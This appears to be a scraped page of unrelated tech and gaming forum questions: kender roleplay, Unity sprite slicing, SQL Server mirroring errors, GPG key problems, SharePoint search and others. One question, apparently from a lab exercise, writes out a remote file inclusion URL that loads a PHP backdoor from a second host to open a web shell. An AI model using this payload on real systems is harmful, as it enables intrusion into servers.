How should one properly roleplay a Kender?

For my first campaign ever, we are playing 2E DragonLance. I, not content with my usual lot, chose to play a female kender handler. The first playsession went well, but reading up on kenders (from kencyclopedia, for example) I found out that I roleplayed my character very flatly and un-kender-like. I wasn’t curious, I was unreasonably cautious for a kender, I didn’t ‘handle’ much (though that might have been because we didn’t have much interesting stuff either), I didn’t get into trouble.

For the second session, I want to improve this, but I’m also wary of falling to the other side: playing a ‘realistic’ kender might mean ‘being a pain in the rear’. Many of us in the group are new to RPGs. I’m assuming (and could be wrong) that having to race to bail me out of troubles because I always go “Hey look, a big red dragon, cool! Let’s check it out!” would not be fun. Dying because they decided not to help me would not be fun either.

What would you recommend I do to play a better kender but not be a pain to my group?

Unity won’t slice images properly

Okay, so I am very new to Game Development and I imported a .png file(made in Paint) to the assets and that file contains just a circle and an oval, not touching and far apart from each other, both of them coloured blue. When I open the sprite editor and click on splice, then select Automatic and Delete existing options and then click slice, I do not get different sprites, one containing the circle and the other containing the oval. The image isn’t sliced at all. I have also set the sprite mode to Multiple, but to no avail.

Can someone help me and tell me what I am doing wrong? The engine I am using is Unity.

How to properly remove resource object completely?

Suppose I get some resourceObject:


Next, I download a local copy of its data:


Now I look at the places in my system where it has made modifications:

LocalCache[resourceObject] resourceObject["ResourceLocations"] resourceObject["ContentElementLocations"] 

If I try to remove it:


Then I can see that

resourceObject["ResourceLocations"] resourceObject["ContentElementLocations"] 

have been deleted but LocalCache[resourceObject] still remains.

So what am I doing wrong?

Also when I download its example notebook where is it stored?


database mirror – A connection attempt failed because the connected party did not properly respond after a period of time

I have database mirror set up in one of my servers and all seems to be fine, however, from time to time I get this error message in the logs:

--Execute it on Primary/Secondary server EXEC xp_readerrorlog 0,1,"Error",Null, NULL, NULL, N'desc' 

Database mirroring connection error 2 ‘Connection attempt failed with error: ‘10060 (A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.)’.’ for ‘TCP://MIRROR_SERVER_DB01:5022’.

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--============================================================================== -- query that shows the current state of each database in the mirroring --==============================================================================   SELECT   db_name(sd.[database_id])              AS [Database Name]           ,sd.mirroring_state                  AS [Mirror State]           ,sd.mirroring_state_desc             AS [Mirror State]            ,sd.mirroring_partner_name           AS [Partner Name]           ,sd.mirroring_role_desc              AS [Mirror Role]             ,sd.mirroring_safety_level_desc      AS [Safety Level]           ,sd.mirroring_witness_name           AS [Witness]           ,sd.mirroring_connection_timeout AS [Timeout(sec)]     FROM sys.database_mirroring AS sd     WHERE mirroring_guid IS NOT null     ORDER BY [Database Name]; 

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as it happens only sometimes, and I could not identify what else running at the same time – could have triggered this error,

what are possible things to look at while troubleshooting?

this server is hosted in the USA and I am not admin on the machine, only sysdba in the sql server world.

RFI not working properly, how to open a shell?

So when i am trying to backdoor a web page given to me to find a specific file, upon requesting a shell i am given the following warnings on the page, and no other information is given. Should a shell pop up? I am kind of new to RFI and this is my first time working through it.

The link i used is: http://10.102.x.x/description.php?page=http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php

The display when searching it was: Warning: include(http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php): failed to open stream: Connection refused in /var/www/html/description.php on line 5

Warning: include(): Failed opening ‘http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php’ for inclusion (include_path=’.:/usr/local/lib/php’) in /var/www/html/description.php on line 5

What is the issue? I am sort of stuck

Is the Kolat Towers map properly drawn?

In Waterdeep: Dragon Heist, players can access a zone known as Kolat Towers. The map is drawn strangely though.

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It seems like the 2nd floor is not aligned with the 1st floor. I’m building the map in 3D for my Halloween session later this week, and I’m unsure if I should build something like this

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Or if I should redraw the map so the walls and stairs align.

Is this map drawn correctly, and the walls are unaligned (therefore I just need to slightly reconfigure some stairs), or did designers just brainfart half-way through floors, and it would be better to remake the map?

Properly Exporting Data to Excel

I have been looking at wind speed data from various locations. And I’d like to export this to excel. That part works. But what I end up with is a set of data from A1 to XXXX??? Essentially the first row.

Since this data comes with dates, and wind speed data, I was curious if there’s a way to make this export more readable, without transposing and deleting rows. Any thoughts?

How do I properly encrypt a document with GPG2 on Mac?

Here is what I have done roughly, starting from scratch:

$   brew install gnupg $   cat >foo <<EOF    Key-Type: RSA    Key-Length: 4096    Subkey-Type: RSA    Subkey-Length: 4096    Name-Real: My Name    Name-Comment: ...    Name-Email: ...    Expire-Date: ...    Passphrase:  EOF $   gpg --batch --full-generate-key foo gpg: key ... marked as ultimately trusted gpg: revocation certificate stored as '/Users/username/.gnupg/openpgp-revocs.d/....rev' $   gpg --list-keys pub   rsa2048 2013-11-23 [SC]       ...key1... uid           [ultimate] My Name <> sub   rsa2048 2019-10-26 [E]  pub   rsa4096 2019-10-26 [SC] .... $   gpg --output me.asc --armor --export ...key1... $   gpg --import me.asc gpg: key ...: no valid user IDs gpg: this may be caused by a missing self-signature gpg: Total number processed: 1 gpg:           w/o user IDs: 1 $   gpg --version gpg (GnuPG) 2.2.17 

What I would like to finish doing is finally encrypt a document.

$   gpg --encrypt file.png --recipient "???" 

Not quite there yet. Wondering why I am getting this error:

gpg: key ...: no valid user IDs gpg: this may be caused by a missing self-signature 

What steps am I missing? What did I do wrong or do I need to do?

Do I want a “self signature”, or do I want to somehow sign this with some trusted party (I’m vaguely familiar with self-signed SSH certificates, which is what I’m drawing the parallel with).

Search not working properly – SP Enterprise 2016

I’ve created a new SP Enterprise 16 dev environment. I’ve run a crawl and everything seems to be indexing correctly via central administration. However, things will not populate in the site search, nor will the CSWP provide any results. For example, I have a photo library called “news and announcements photos” and if I change my query to search for images in that library, 0 results will populate. Can anyone give me an idea or references of what might be going on here? Thanks.